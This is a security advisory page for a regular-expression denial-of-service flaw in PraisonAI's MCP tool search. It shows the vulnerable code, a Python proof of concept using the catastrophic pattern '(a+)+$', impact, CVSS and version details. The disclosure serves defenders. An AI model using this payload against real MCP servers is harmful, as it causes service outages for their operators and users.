PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()
Summary
MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.
Details
tool_index.py:365 (source) -> tool_index.py:368 (sink)
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
import re
# sink -- compiled and applied with no timeout or exception handling
pattern = re.compile(query, re.IGNORECASE)
for tool in self.get_all_tools():
if pattern.search(tool.name) or pattern.search(tool.hint):
matches.append(tool)
PoC
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path
mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
{"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
"server": "test_server", "available": True, "auth_required": False,
"last_sync": time.time(), "tool_count": 1, "error": None
}))
from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()
start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s
Impact
A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonai | < 4.5.90 | 4.5.90 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-1333- Platform
- Python (PyPI)
- Package
praisonai- Disclosed
- 01.04.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2907 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-8w9j-hc3g-3g7f - CC BY 4.0
Vulnerability history: praisonai
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 104
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 27
- High 60
- Medium 17
Disclosures per year
- 2026: 104
-
PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools() this entry
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